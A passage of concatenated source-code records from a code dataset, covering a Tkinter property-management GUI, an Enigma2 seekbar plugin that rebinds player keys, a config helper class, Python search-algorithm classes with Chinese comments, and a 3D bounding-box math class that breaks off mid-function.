= OptionMenu(self.container1bb, self.tkvar2, *choices)\n self.popupMenu2.pack()\n\n\n self.tkvar1 = StringVar(self.container1bb)\n choices = { 'True','False'}\n self.tkvar1.set('False')\n\n self.popupMenu1 = OptionMenu(self.container1bb, self.tkvar1, *choices)\n self.popupMenu1.pack()\n\n\n self.idnumlabel = Label(self.container1bb,\n text=\"ID:\",\n font=\"Times 12\")\n self.idnumlabel.pack()\n\n\n\n self.container2=Frame(master)\n self.container2.pack()\n\n self.container2a=Frame(self.container2)\n self.container2a.pack(side=LEFT)\n\n self.container2aa=Frame(self.container2a)\n self.container2aa.pack(side=LEFT)\n\n self.container2ab=Frame(self.container2a)\n self.container2ab.pack(side=RIGHT)\n\n self.container2b=Frame(self.container2)\n self.container2b.pack(side=RIGHT)\n\n self.container2ba=Frame(self.container2b)\n self.container2ba.pack(side=LEFT)\n\n self.container2bb=Frame(self.container2b)\n self.container2bb.pack(side=RIGHT)\n\n\n self.container3=Frame(master)\n self.container3.pack()\n\n self.container3a=Frame(self.container3)\n self.container3a.pack(side=LEFT)\n\n self.animlabel = Label(self.container3a,\n text=\"Add new Animal:\",\n font=\"Times 12\")\n self.animlabel.pack(side=LEFT, pady=(50,0))\n\n self.container3ab=Frame(self.container3a)\n self.container3ab.pack(side=RIGHT)\n\n self.addan_button = Button(self.container3ab,\n text=\"Add Animal to \\nProperty\",\n padx=10,\n height=2,width=12)\n self.addan_button.pack(side=LEFT, pady=(55,10),padx=5)\n\n\n\n self.container3b=Frame(self.container3)\n self.container3b.pack(side=RIGHT)\n\n self.animlabel = Label(self.container3b,\n text=\"Add new Crop:\",\n font=\"Times 12\")\n self.animlabel.pack(side=LEFT, pady=(50,0))\n\n self.container3bb=Frame(self.container3b)\n self.container3bb.pack(side=RIGHT)\n\n self.addcr_button = Button(self.container3bb,\n text=\"Add Crop to \\nProperty\",\n padx=10,\n height=2,width=12)\n self.addcr_button.pack(side=LEFT, pady=(55,10),padx=5)\n\n\n self.container4=Frame(master)\n self.container4.pack()\n\n self.requestlabel = Label(self.container1bb,\n text=\"Request crop approval :\",\n font=\"Times 12\")\n\n self.tkvar1 = StringVar(self.container1bb)\n choices = { 'New crop type...','Animal', 'Fruit', 'Nut',\n \t\t\t'Flower', 'Vegetable'}\n self.tkvar1.set('New crop type...')\n\n self.delete_property_button = Button(self.container4,\n text=\"Delete Property\",\n padx=10,\n width = 12)\n self.delete_property_button.pack(side=LEFT, pady=(75,0))\n\n self.container4b=Frame(self.container4)\n self.container4b.pack(side=RIGHT)\n\n self.save_button = Button(self.container4b,\n text=\"Save Changes\\n(confirm property)\",\n padx=10,\n height=3,width=15)\n self.save_button.pack()\n\n self.back_button = Button(self.container4b,\n text=\"Back\\n(Don't Save or Confirm)\",\n padx=10,\n height=3,width=15)\n self.back_button.pack()\n\n\n\n\n\n\n\nroot = Tk()\nmy_gui = adminmanagepropertywindow(root)\nroot.mainloop()\n","sub_path":"OwnerManagePropertyWindow.py","file_name":"OwnerManagePropertyWindow.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"344296909","text":"##\n## Seekbar\n## by AliAbdul\n##\nfrom Components.ActionMap import ActionMap\nfrom Components.config import config, ConfigInteger, ConfigNumber, ConfigSelection, ConfigSubsection, ConfigYesNo, getConfigListEntry\nfrom Components.ConfigList import ConfigListScreen\nfrom Components.Label import Label\nfrom Components.Language import language\nfrom Components.Pixmap import MovingPixmap\nfrom enigma import eTimer\nfrom keyids import KEYIDS\nfrom os import environ\nfrom Screens.InfoBar import MoviePlayer\nfrom Screens.Screen import Screen\nfrom Tools.Directories import fileExists, resolveFilename, SCOPE_LANGUAGE, SCOPE_PLUGINS\nfrom Tools.KeyBindings import addKeyBinding\nimport gettext, keymapparser\n\n##############################################\n\nconfig.plugins.Seekbar = ConfigSubsection()\nconfig.plugins.Seekbar.overwrite_left_right = ConfigYesNo(default=True)\nconfig.plugins.Seekbar.sensibility = ConfigInteger(default=10, limits=(1, 10))\n\n##############################################\n\ndef localeInit():\n\tgettext.bindtextdomain(\"Seekbar\", \"%s%s\" % (resolveFilename(SCOPE_PLUGINS), \"Extensions/Seekbar/locale/\"))\n\nlocaleInit()\nlanguage.addCallback(localeInit)\n\ndef _(txt):\n\tt = gettext.dgettext(\"Seekbar\", txt)\n\tif t == txt:\n\t\tt = gettext.gettext(txt)\n\treturn t\n\n##############################################\n\nclass Seekbar(ConfigListScreen, Screen):\n\tskin = \"\"\"\n\t\n\t\t\n\t\t\r\n\t\t\n\t\t\tGauge\n\t\t\n\t\t\n\t\t\n\t\t\tLength\n\t\t\n\t\"\"\" % _(\"Seek\")\n\n\tdef __init__(self, session, instance, fwd):\n\t\tScreen.__init__(self, session)\n\t\t\n\t\tself.session = session\n\t\tself.infobarInstance = instance\n\t\tself.fwd = fwd\n\t\tif isinstance(session.current_dialog, MoviePlayer):\n\t\t\tself.dvd = False\n\t\telse:\n\t\t\tself.dvd = True\n\t\tself.percent = 0.0\n\t\tself.length = None\n\t\tservice = session.nav.getCurrentService()\n\t\tif service:\n\t\t\tself.seek = service.seek()\n\t\t\tif self.seek:\n\t\t\t\tself.length = self.seek.getLength()\n\t\t\t\tposition = self.seek.getPlayPosition()\n\t\t\t\tif self.length and position:\n\t\t\t\t\tif int(position[1]) > 0:\n\t\t\t\t\t\tself.percent = float(position[1]) * 100.0 / float(self.length[1])\n\t\t\n\t\tself.minuteInput = ConfigNumber(default=5)\n\t\tself.positionEntry = ConfigSelection(choices=[\"<>\"], default=\"<>\")\n\t\tif self.fwd:\n\t\t\ttxt = _(\"Jump x minutes forward:\")\n\t\telse:\n\t\t\ttxt = _(\"Jump x minutes back:\")\n\t\tConfigListScreen.__init__(self, [\n\t\t\tgetConfigListEntry(txt, self.minuteInput),\n\t\t\tgetConfigListEntry(_(\"Go to position:\"), self.positionEntry),\n\t\t\tgetConfigListEntry(_(\"Sensibility:\"), config.plugins.Seekbar.sensibility),\n\t\t\tgetConfigListEntry(_(\"Overwrite left and right buttons:\"), config.plugins.Seekbar.overwrite_left_right)])\n\t\t\n\t\tself[\"cursor\"] = MovingPixmap()\n\t\tself[\"time\"] = Label()\n\t\t\n\t\tself[\"actions\"] = ActionMap([\"WizardActions\"], {\"back\": self.exit}, -1)\n\t\t\n\t\tself.cursorTimer = eTimer()\n\t\tself.cursorTimer.callback.append(self.updateCursor)\n\t\tself.cursorTimer.start(200, False)\n\t\t\n\t\tself.onLayoutFinish.append(self.firstStart)\n\n\tdef firstStart(self):\n\t\tself[\"config\"].setCurrentIndex(1)\n\n\tdef updateCursor(self):\n\t\tif self.length:\n\t\t\tx = 145 + int(2.7 * self.percent)\n\t\t\tself[\"cursor\"].moveTo(x, 125, 1)\r\n\t\t\tself[\"cursor\"].startMoving()\n\t\t\tpts = int(float(self.length[1]) / 100.0 * self.percent)\n\t\t\tself[\"time\"].setText(\"%d:%02d\" % ((pts/60/90000), ((pts/90000)%60)))\n\n\tdef exit(self):\n\t\tself.cursorTimer.stop()\n\t\tConfigListScreen.saveAll(self)\n\t\tself.close()\n\n\tdef keyOK(self):\n\t\tsel = self[\"config\"].getCurrent()[1]\n\t\tif sel == self.positionEntry:\n\t\t\tif self.length:\n\t\t\t\tif self.dvd: # seekTo() doesn't work for DVD Player\n\t\t\t\t\toldPosition = self.seek.getPlayPosition()[1]\n\t\t\t\t\tnewPosition = int(float(self.length[1]) / 100.0 * self.percent)\n\t\t\t\t\tif newPosition > oldPosition:\n\t\t\t\t\t\tpts = newPosition - oldPosition\n\t\t\t\t\telse:\n\t\t\t\t\t\tpts = -1*(oldPosition - newPosition)\n\t\t\t\t\tDVDPlayer.doSeekRelative(self.infobarInstance, pts)\n\t\t\t\telse:\n\t\t\t\t\tself.seek.seekTo(int(float(self.length[1]) / 100.0 * self.percent))\n\t\t\t\tself.exit()\n\t\telif sel == self.minuteInput:\n\t\t\tpts = self.minuteInput.value * 60 * 90000\n\t\t\tif self.fwd == False:\n\t\t\t\tpts = -1*pts\n\t\t\tif self.dvd:\n\t\t\t\tDVDPlayer.doSeekRelative(self.infobarInstance, pts)\n\t\t\telse:\n\t\t\t\tMoviePlayer.doSeekRelative(self.infobarInstance, pts)\n\t\t\tself.exit()\n\n\tdef keyLeft(self):\n\t\tsel = self[\"config\"].getCurrent()[1]\n\t\tif sel == self.positionEntry:\n\t\t\tself.percent -= float(config.plugins.Seekbar.sensibility.value) / 10.0\n\t\t\tif self.percent < 0.0:\n\t\t\t\tself.percent = 0.0\n\t\telse:\n\t\t\tConfigListScreen.keyLeft(self)\n\n\tdef keyRight(self):\n\t\tsel = self[\"config\"].getCurrent()[1]\n\t\tif sel == self.positionEntry:\n\t\t\tself.percent += float(config.plugins.Seekbar.sensibility.value) / 10.0\n\t\t\tif self.percent > 100.0:\n\t\t\t\tself.percent = 100.0\n\t\telse:\n\t\t\tConfigListScreen.keyRight(self)\n\n\tdef keyNumberGlobal(self, number):\n\t\tsel = self[\"config\"].getCurrent()[1]\n\t\tif sel == self.positionEntry:\n\t\t\tself.percent = float(number) * 10.0\n\t\telse:\n\t\t\tConfigListScreen.keyNumberGlobal(self, number)\n\n##############################################\n# This hack overwrites the functions seekFwdManual and seekBackManual of the InfoBarSeek class (MoviePlayer and DVDPlayer)\n\ndef seekbar(instance, fwd=True):\n\tif instance and instance.session:\n\t\tinstance.session.open(Seekbar, instance, fwd)\n\ndef seekbarBack(instance):\n\tseekbar(instance, False)\n\nMoviePlayer.seekFwdManual = seekbar\nMoviePlayer.seekBackManual = seekbarBack\n\ndvdPlayer = \"%s%s\"%(resolveFilename(SCOPE_PLUGINS), \"Extensions/DVDPlayer/plugin.py\")\nif fileExists(dvdPlayer) or fileExists(\"%sc\"%dvdPlayer):\n\tfrom Plugins.Extensions.DVDPlayer.plugin import DVDPlayer\n\tDVDPlayer.seekFwdManual = seekbar\n\tDVDPlayer.seekBackManual = seekbarBack\n\n##############################################\n# This hack puts the functions seekFwdManual and seekBackManual to the maped keys to seekbarRight and seekbarLeft\n\nDoBind = ActionMap.doBind\ndef doBind(instance):\n\tif not instance.bound:\n\t\tfor ctx in instance.contexts:\n\t\t\tif ctx == \"InfobarSeekActions\":\n\t\t\t\tif instance.actions.has_key(\"seekFwdManual\"):\n\t\t\t\t\tinstance.actions[\"seekbarRight\"] = instance.actions[\"seekFwdManual\"]\n\t\t\t\tif instance.actions.has_key(\"seekBackManual\"):\n\t\t\t\t\tinstance.actions[\"seekbarLeft\"] = instance.actions[\"seekBackManual\"]\n\t\t\tDoBind(instance)\n\nif config.plugins.Seekbar.overwrite_left_right.value:\n\tActionMap.doBind = doBind\n\n##############################################\n# This hack maps the keys left and right to seekbarRight and seekbarLeft in the InfobarSeekActions-context\n\nKeymapError = keymapparser.KeymapError\nParseKeys = keymapparser.parseKeys\ndef parseKeys(context, filename, actionmap, device, keys):\n\tif context == \"InfobarSeekActions\":\n\t\tif device == \"generic\":\n\t\t\tfor x in keys.findall(\"key\"):\n\t\t\t\tget_attr = x.attrib.get\n\t\t\t\tmapto = get_attr(\"mapto\")\n\t\t\t\tid = get_attr(\"id\")\n\t\t\t\tif id == \"KEY_LEFT\":\n\t\t\t\t\tmapto = \"seekbarLeft\"\n\t\t\t\tif id == \"KEY_RIGHT\":\n\t\t\t\t\tmapto = \"seekbarRight\"\n\t\t\t\tflags = get_attr(\"flags\")\n\t\t\t\tflag_ascii_to_id = lambda x: {'m':1,'b':2,'r':4,'l':8}[x]\n\t\t\t\tflags = sum(map(flag_ascii_to_id, flags))\n\t\t\t\tassert mapto, \"%s: must specify mapto in context %s, id '%s'\" % (filename, context, id)\n\t\t\t\tassert id, \"%s: must specify id in context %s, mapto '%s'\" % (filename, context, mapto)\n\t\t\t\tassert flags, \"%s: must specify at least one flag in context %s, id '%s'\" % (filename, context, id)\n\t\t\t\tif len(id) == 1:\n\t\t\t\t\tkeyid = ord(id) | 0x8000\n\t\t\t\telif id[0] == '\\\\':\n\t\t\t\t\tif id[1] == 'x':\n\t\t\t\t\t\tkeyid = int(id[2:], 0x10) | 0x8000\n\t\t\t\t\telif id[1] == 'd':\n\t\t\t\t\t\tkeyid = int(id[2:]) | 0x8000\n\t\t\t\t\telse:\n\t\t\t\t\t\traise KeymapError(\"key id '\" + str(id) + \"' is neither hex nor dec\")\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tkeyid = KEYIDS[id]\n\t\t\t\t\texcept:\n\t\t\t\t\t\traise KeymapError(\"key id '\" + str(id) + \"' is illegal\")\n\t\t\t\tactionmap.bindKey(filename, device, keyid, flags, context, mapto)\n\t\t\t\taddKeyBinding(filename, keyid, context, mapto, flags)\n\t\telse:\n\t\t\tParseKeys(context, filename, actionmap, device, keys)\n\telse:\n\t\tParseKeys(context, filename, actionmap, device, keys)\n\nif config.plugins.Seekbar.overwrite_left_right.value:\n\tkeymapparser.parseKeys = parseKeys\n\tkeymapparser.removeKeymap(config.usage.keymap.value)\n\tkeymapparser.readKeymap(config.usage.keymap.value)\n\n##############################################\n\ndef Plugins(**kwargs):\n\treturn []\n","sub_path":"seekbar/src/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":9047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"544900817","text":"\r\nfrom omnibelt import InitWall, unspecified_argument\r\n\r\nclass Configurable:\r\n\t'''\r\n\tRemoves the config object `A` from the __init__() to clean up the init stream.\r\n\t\r\n\tThis class should be subclassed when creating components/modifiers,\r\n\tespecially when those components/modifiers also subclass types that\r\n\tdo not use the config object.\r\n\t'''\r\n\tdef __init__(self, A, _req_args=unspecified_argument,\r\n\t _req_kwargs=unspecified_argument, **kwargs):\r\n\r\n\t\tif _req_args is unspecified_argument:\r\n\t\t\t_req_args = A.pull('_req_args', (), silent=True)\r\n\t\tif _req_kwargs is unspecified_argument:\r\n\t\t\t_req_kwargs = A.pull('_req_kwargs', {}, silent=True)\r\n\r\n\t\t# if _req_kwargs is None:\r\n\t\t# \t_req_kwargs = kwargs\r\n\r\n\t\ttry:\r\n\t\t\twalled = isinstance(self, InitWall)\r\n\t\texcept ValueError:\r\n\t\t\twalled = True\r\n\t\t\t\r\n\t\tif walled:\r\n\t\t\tsuper().__init__(_req_args=_req_args, _req_kwargs=_req_kwargs, **kwargs)\r\n\t\telse:\r\n\t\t\tkwargs.update(_req_kwargs)\r\n\t\t\tsuper().__init__(**kwargs)\r\n\t\t\t# super().__init__(*_req_args, **_req_kwargs)\r\n\r\n\r\n","sub_path":"omnifig/common/hierarchy.py","file_name":"hierarchy.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"71593984","text":"'''查找算法\n静态查找:在查找过程中,只是对数据元素执行查找操作,而不对其执行其他操作。\n\t顺序查找/二分查找/索引查找\n动态查找:在查找过程中,不仅对数据元素执行查找操作,同时还执行其他操作,如插入和删除等。\n\t哈希表查找/二叉树查找\n'''\n\n#1.顺序查找\n#从头到尾挨个查找\n#顺序查找有三种情形可能发生:最好的情况,第一项就是要查找的数据对象,只有一次比较,\n#最差的情况,需要 n 次比较,全部比较完之后找不到数据。平均情况下,比较次数为 n/2 次。算法的时间复杂度是 O(n)\nclass sequenceSearch:\n\tdef __init__(self,array):\n\t\tself.array = array\n\tdef sequSearch(self,key):\n\t\tfindindex = -1\n\t\tfor i in range(0,len(self.array)):\n\t\t\tif self.array[i] == key:\n\t\t\t\tfindindex = i\n\t\t\t\tbreak\n\t\treturn i\n\tdef maxAndIndex(self):\n\t\tpos = 0\n\t\tmaxNum = self.array[0]\n\t\tfor i in range(0,len(self.array)):\n\t\t\tif self.array[i] > maxNum:\n\t\t\t\tpos = i\n\t\t\t\tmaxNum = self.array[i]\n\t\treturn pos,maxNum\t\n\tdef minAndIndex(self):\n\t\tpos = 0\n\t\tminNum = self.array[0]\n\t\tfor i in range(0,len(self.array)):\n\t\t\tif self.array[i] < minNum:\n\t\t\t\tpos = i\n\t\t\t\tminNum = self.array[i]\n\t\treturn pos,minNum\t\t\n\n#2.二分查找(折半查找):折半查找要求线性表必须采用顺序存储结构,而且表中元素按关键字有序排列。\n#确定查找区间后,从区间的中间位置开始,如果与给定值相等,则查找成功,如果大于给定值,在左半部分继续寻找,如果小于给定值,在右半部分继续寻找。\nclass binarySearch:\n\tdef __init__(self,array):\n\t\tself.array = array\n\tdef bSearch(self,key):\n\t\tlow = 0\n\t\thigh = len(self.array)-1\n\t\twhile low self.array[mid]:\n\t\t\t\tlow = mid+1\n\t\t\telif key self.Vertex[0].x and self.Vertex[1].y > self.Vertex[0].y and self.Vertex[1].z > self.Vertex[1].z\n\n def IsNotEmpty(self):\n return self.Vertex[1].x >= self.Vertex[0].x and self.Vertex[1].y >= self.Vertex[0].y and self.Vertex[1].z >= self.Vertex[1].z\n\n def ToLocalNormal(self, normal):\n from Vector3Math import Vector3\n n = Vector3(normal)\n if self.UseTransform:\n n.TransformNormal(self.TransformMatrixInverse)\n return n\n\n def ToLocal(self, source):\n from Vector3Math import Vector3\n from MatrixMath import Matrix\n\n if isinstance(source, Vector3):\n p = Vector3(pos)\n if UseTransform:\n p.TransformCoord(self.TransformMatrixInverse)\n return p\n elif isinstance(source, BoundingBox):\n usemat = True\n if source.UseTransform and self.UseTransform:\n mat = self.TransformMatrixInverse * source.TransformMatrix\n else:\n if source.UseTransform:\n mat = source.TransformMatrix\n else:\n if self.UseTransform:\n mat = TransformMatrixInverse\n else:\n usemat = False\n if usemat:\n source.Transform(mat)\n else:\n res = BoundingBox(source)\n \n return res\n \n def ToWorld(self, pos):\n from Vector3Math import Vector3\n p = Vector3(pos)\n if self.UseTransform:\n p.TransformCoord(self.TransformMatrix)\n return p\n\n\n\n\n def Cover(self, *args):\n from Vector3Math import Vector3\n\n if len(args) == 1:\n if isinstance(args[0], BoundingBox):\n sbox = ToLocal(args[0])\n\n if self.Vertex[0].x > sbox.Vertex[0].x:\n self.Vertex[0].x = sbox.Vertex[0].x\n \n if self.Vertex[0].y > sbox.Vertex[0].y:\n self.Vertex[0].y = sbox.Vertex[0].y\n\n if self.Vertex[0].z > sbox.Vertex[0].z:\n self.Vertex[0].z = sbox.Vertex[0].z\n \n if self.Vertex[1].x < sbox.Vertex[1].x:\n \n self.Vertex[1].x = sbox.Vertex[1].x\n \n if self.Vertex[1].y > sbox.Vertex[1].y:\n self.Vertex[1].y = sbox.Vertex[1].y\n\n if self.Vertex[1].z < sbox.Vertex[1].z:\n self.Vertex[1].z = sbox.Vertex[1].z\n\n elif isinstance(args[0], Vector3):\n \n if self.Vertex[0].x > self.Vertex[1].x:\n self.Vertex[0] = Vector3(args[0])\n self.Vertex[1] = Vector3(args[0])\n else:\n self.Cover(args[0].x, args[0].y, args[0].z)\n\n elif len(args) == 3:\n if(self.Vertex[0] > x):\n self.Vertex[0].x = x\n\n if(self.Vertex[1] < x):\n self.Vertex[1].x = x\n\n if(self.Vertex[0] > y):\n self.Vertex[0].y = y\n\n if(self.Vertex[1] < y):\n self.Vertex[1].y = y\n\n if(self.Vertex[0] > z):\n self.Vertex[0].z = z\n\n if(self.Vertex[1] < z):\n self.Vertex[1].z = z\n\n\n def Intersect(self, box):\n\n sbox = ToLocal(box)\n\n if self.Vertex[0].x < sbox.Vertex[0].x:\n self.Vertex[0].x = sbox.Vertex[0].x\n if self.Vertex[1].x > sbox.Vertex[1].x:\n self.Vertex[1].x = sbox.Vertex[1].x\n \n if self.Vertex[0].y < sbox.Vertex[0].y:\n self.Vertex[0].y = sbox.Vertex[0].y\n\n if self.Vertex[1].y > sbox.Vertex[1].y:\n self.Vertex[1].y = sbox.Vertex[1].y\n \n if self.Vertex[0].z < sbox.Vertex[0].z:\n self.Vertex[0].z = sbox.Vertex[0].z\n \n if (self.Vertex[1].z > sbox.Vertex[1].z):\n self.Vertex[1].z = sbox.Vertex[1].z\n\n def GetDiagonal(self):\n if self.UseTransform == False:\n return self.Vertex[1] - self.Vertex[0]\n else:\n return ToWorld(self.Vertex[1]) - ToWorld(self.Vertex[0])\n\n def GetDiagonalLength(self):\n return GetDiagonal().Length()\n\n def GetCenter(self):\n return ToWorld(self.Vertex[0] - self.Vertex[1] * 0.5)\n\n def GetVolumeSize(self):\n from Vector3Math import Vector3\n if self.UseTransform:\n return (self.Vertex[1].x - self.Vertex[0].x) * (self.Vertex[1].y - self.Vertex[0].y) * (self.Vertex[1].z - self.Vertex[0].z)\n else:\n v0 = ToWorld(self.Vertex[0])\n v1 = ToWorld(self.Vertex[1])\n return (v1.x - v0.x) * (v1.y - v0.y) * (v1.z - v0.z)\n\n def GetPlaneSize(self, plane):\n #//int Plane; // 0 xz 1 zy 2 xy\n if plane == 0:# // xz\n return (self.Vertex[1].x - self.Vertex[0].x) * (self.Vertex[1].z - self.Vertex[0].z)\n else:\n if plane == 1: # // zy\n return (self.Vertex[1].y - self.Vertex[0].y) * (self.Vertex[1].z - self.Vertex[0].z)\n else: #// xy\n return (self.Vertex[1].x - self.Vertex[0].x) * (self.Vertex[1].y - self.Vertex[0].y)\n\n def GetVertices(self):\n from Vector3Math import Vector3\n v = [Vector3(self.Vertex[0].x, self.Vertex[0].y, self.Vertex[0].z),\\\n Vector3(self.Vertex[1].x, self.Vertex[0].y, self.Vertex[0].z),\\\n Vector3(self.Vertex[0].x, self.Vertex[1].y, self.Vertex[0].z),\\\n Vector3(self.Vertex[1].x, self.Vertex[1].y, self.Vertex[0].z),\\\n Vector3(self.Vertex[0].x, self.Vertex[0].y, self.Vertex[1].z),\\\n Vector3(self.Vertex[1].x, self.Vertex[0].y, self.Vertex[1].z),\\\n Vector3(self.Vertex[0].x, self.Vertex[1].y, self.Vertex[1].z),\\\n Vector3(self.Vertex[1].x, self.Vertex[1].y, self.Vertex[1].z)]\n \n if self.UseTransform:\n for i in range(0, 8):\n v[i] = ToWorld(v[i])\n\n return v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]\n\n def Transform(self, mat):\n from Vector3Math import Vector3\n v0, v1, v2, v3, v4, v5, v6, v7 = self.GetVertices()\n\n v = [v0, v1, v2, v3, v4, v5, v6, v7]\n\n box = BoundingBox.New()\n\n for i in range(0,8):\n nv = Vector3(v[i].TransformCoord(mat))\n v[i] = Vector3(nv)\n box.Cover(nv)\n\n self.Vertex[0] = box.Vertex[0]\n self.Vertex[1] = box.Vertex[1]\n\n return box, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]\n\n\n\n def MultiplySize(self, rate):\n line = self.Vertex[1] - self.Vertex[0]\n line2 = line * ((rate - 1) * 0.5)\n\n self.Vertex[0] -= line2\n self.Vertex[1] += line2\n\n def Inflate(self, *args):\n \n if len(args) == 1:\n if(args[0] > 0):\n self.Vertex[0].x -= args[0]\n self.Vertex[0].y -= args[0]\n self.Vertex[0].z -= args[0]\n self.Vertex[1].x += args[0]\n self.Vertex[1].y += args[0]\n self.Vertex[1].z += args[0]\n else:\n if v != 0:\n self.Vertex[0].x -= args[0]\n self.Vertex[0].y -= args[0]\n self.Vertex[0].z -= args[0]\n self.Vertex[1].x += args[0]\n self.Vertex[1].y += args[0]\n self.Vertex[1].z += args[0]\n\n if self.Vertex[0].x > self.Vertex[1].x:\n self.Vertex[0].x = (self.Vertex[0].x + self.Vertex[1].x) / 2\n self.Vertex[1].x = self.Vertex[0].x\n\n if self.Vertex[0].y > self.Vertex[1].y:\n self.Vertex[0].y = (self.Vertex[0].y + self.Vertex[1].y) / 2\n self.Vertex[1].y = self.Vertex[0].y\n\n if self.Vertex[0].z > self.Vertex[1].z:\n self.Vertex[0].z = (self.Vertex[0].z + self.Vertex[1].z) / 2\n self.Vertex[1].z = self.Vertex[0].z\n\n elif len(args) == 3:\n self.Vertex[0].x -= args[0]\n self.Vertex[0].y -= args[1]\n self.Vertex[0].z -= args[2]\n self.Vertex[1].x += args[0]\n self.Vertex[1].y += args[1]\n self.Vertex[1].z += args[2]\n\n\n def CheckPlaneX(self, x):\n if self.Vertex[0].x > x:\n return 1\n if self.Vertex[1].x < x:\n return -1\n return 0\n\n def CheckPlaneY(self, y):\n if self.Vertex[0].y > y:\n return 1\n if self.Vertex[1].y < y:\n return -1\n return 0\n\n def CheckPlaneZ(self, z):\n if self.Vertex[0].z > z:\n return 1\n if self.Vertex[1].z < z:\n return -1\n return 0\n\n\n\n def CheckCollide(self, target):\n self.Intersect(target)\n return self.HasVolume()\n\n def CheckContact(self, target):\n self.Intersect(target)\n return self.IsNotEmpty()\n\n def ChekcInclude(self, source):\n from Vector3Math import Vector3\n if isinstance(source, BoundingBox):\n if self.UseTransform == False and source.UseTransform == False:\n return self.Vertex[0].x <= source.Vertex[0].x and\\\n self.Vertex[0].y <= source.Vertex[0].y and\\\n self.Vertex[0].z <= source.Vertex[0].z and\\\n self.Vertex[1].x >= source.Vertex[1].x and\\\n self.Vertex[1].y >= source.Vertex[1].y and\\\n self.Vertex[1].z >= source.Vertex[1].z\n else:\n nBox = ToLocal(source)\n return self.Vertex[0].x <= nBox.Vertex[0].x and\\\n self.Vertex[0].y <= nBox.Vertex[0].y and\\\n self.Vertex[0].z <= nBox.Vertex[0].z and\\\n self.Vertex[1].x >= nBox.Vertex[1].x and\\\n self.Vertex[1].y >= nBox.Vertex[1].y and\\\n self.Vertex[1].z >= nBox.Vertex[1].z\n elif isinstance(source, Vector3):\n nv = ToLocal(source)\n \n return self.Vertex[0].x <= nv.x and\\\n self.Vertex[0].y <= nv.y and\\\n self.Vertex[0].z <= nv.z and\\\n self.Vertex[1].x >= nv.x and\\\n self.Vertex[1].y >= nv.y and\\\n self.Vertex[1].z >= nv.z\n\n def FindNearCollision(self, posfrom0, posto0):\n from Vector3Math import Vector3\n from Util import Collision\n from PlaneMath import Plane\n\n posfrom = ToLocal(posfrom0)\n posto = ToLocal(posto0)\n \n planex0 = Plane(1, 0, 0, -self.Vertex[0].x)\n planex1 = Plane(1, 0, 0, -self.Vertex[1].x)\n planey0 = Plane(0, 1, 0, -self.Vertex[0].y)\n planey1 = Plane(0, 1, 0, -self.Vertex[1].y)\n planez0 = Plane(0, 0, 1, -self.Vertex[0].z)\n planez1 = Plane(0, 0, 1, -self.Vertex[1].z)\n \n intersection = Vector3.New()\n minDist = 1.7976931348623157e+308\n minIntersect = Vector3.New()\n collide = False\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planex0, posfrom, posto)\n\n if colCheck:\n if (intersection.y >= self.Vertex[0].y and intersection.y <= self.Vertex[1].y) and (intersection.z >= self.Vertex[0].z and intersection.z <= self.Vertex[1].z):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n minIntersect = intersectionWorld\n collide = True\n minDist = dist\n\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planex1, posfrom, posto)\n \n if colCheck:\n if ((intersection.y >= self.Vertex[0].y and intersection.y <= self.Vertex[1].y) and (intersection.z >= self.Vertex[0].z and intersection.z <= self.Vertex[1].z)):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n if collide == False or dist < minDist:\n collide = True\n minIntersect = intersectionWorld\n minDist = dist\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planey0, posfrom, posto)\n\n if colCheck:\n if ((intersection.x >= self.Vertex[0].x and intersection.x <= self.Vertex[1].x) and (intersection.z >= self.Vertex[0].z and intersection.z <= self.Vertex[1].z)):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n if collide == False or dist < minDist:\n collide = True\n minIntersect = intersectionWorld\n minDist = dist\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planey1, posfrom, posto)\n \n if colCheck:\n if ((intersection.x >= self.Vertex[0].x and intersection.x <= self.Vertex[1].x) and (intersection.z >= self.Vertex[0].z and intersection.z <= self.Vertex[1].z)):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n if collide == False or dist < minDist:\n collide = True\n minIntersect = intersectionWorld\n minDist = dist\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planez0, posfrom, posto)\n\n if colCheck:\n if ((intersection.x >= self.Vertex[0].x and intersection.x <= self.Vertex[1].x) and (intersection.y >= self.Vertex[0].y and intersection.y <= self.Vertex[1].y)):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n \n if collide == False or dist < minDist:\n collide = True\n minIntersect = intersectionWorld\n minDist = dist\n\n colCheck, intersection = Collision.PlaneLineIntersectionFast(planez1, posfrom, posto)\n\n if colCheck:\n if ((intersection.x >= self.Vertex[0].x and intersection.x <= self.Vertex[1].x) and (intersection.y >= self.Vertex[0].y and intersection.y <= self.Vertex[1].y)):\n intersectionWorld = ToWorld(intersection)\n distv = intersectionWorld - posfrom0\n dist = distv.LengthSq()\n\n if collide == False or dist < minDist:\n collide = True\n minIntersect = intersectionWorld\n minDist = dist\n \n if collide:\n return True, minIntersect, minDist\n \n return False, Vector3.New(), 0\n\n\n def GetPlane(self):\n from PlaneMath import Plane\n boxplane = [Plane(1, 0, 0, self.Vertex[1].x), Plane(1, 0, 0, self.Vertex[0].x), Plane(0, 1, 0, self.Vertex[1].y),\\\n Plane(0, 1, 0, self.Vertex[0].y), Plane(0, 0, 1, self.Vertex[1].z), Plane(0, 0, 1, self.Vertex[0].z)]\n\n if self.UseTransform:\n for i in range(0, 6):\n boxplane[i].TransformPlane(self.TransformMatrix)\n\n return boxplane[0], boxplane[1], 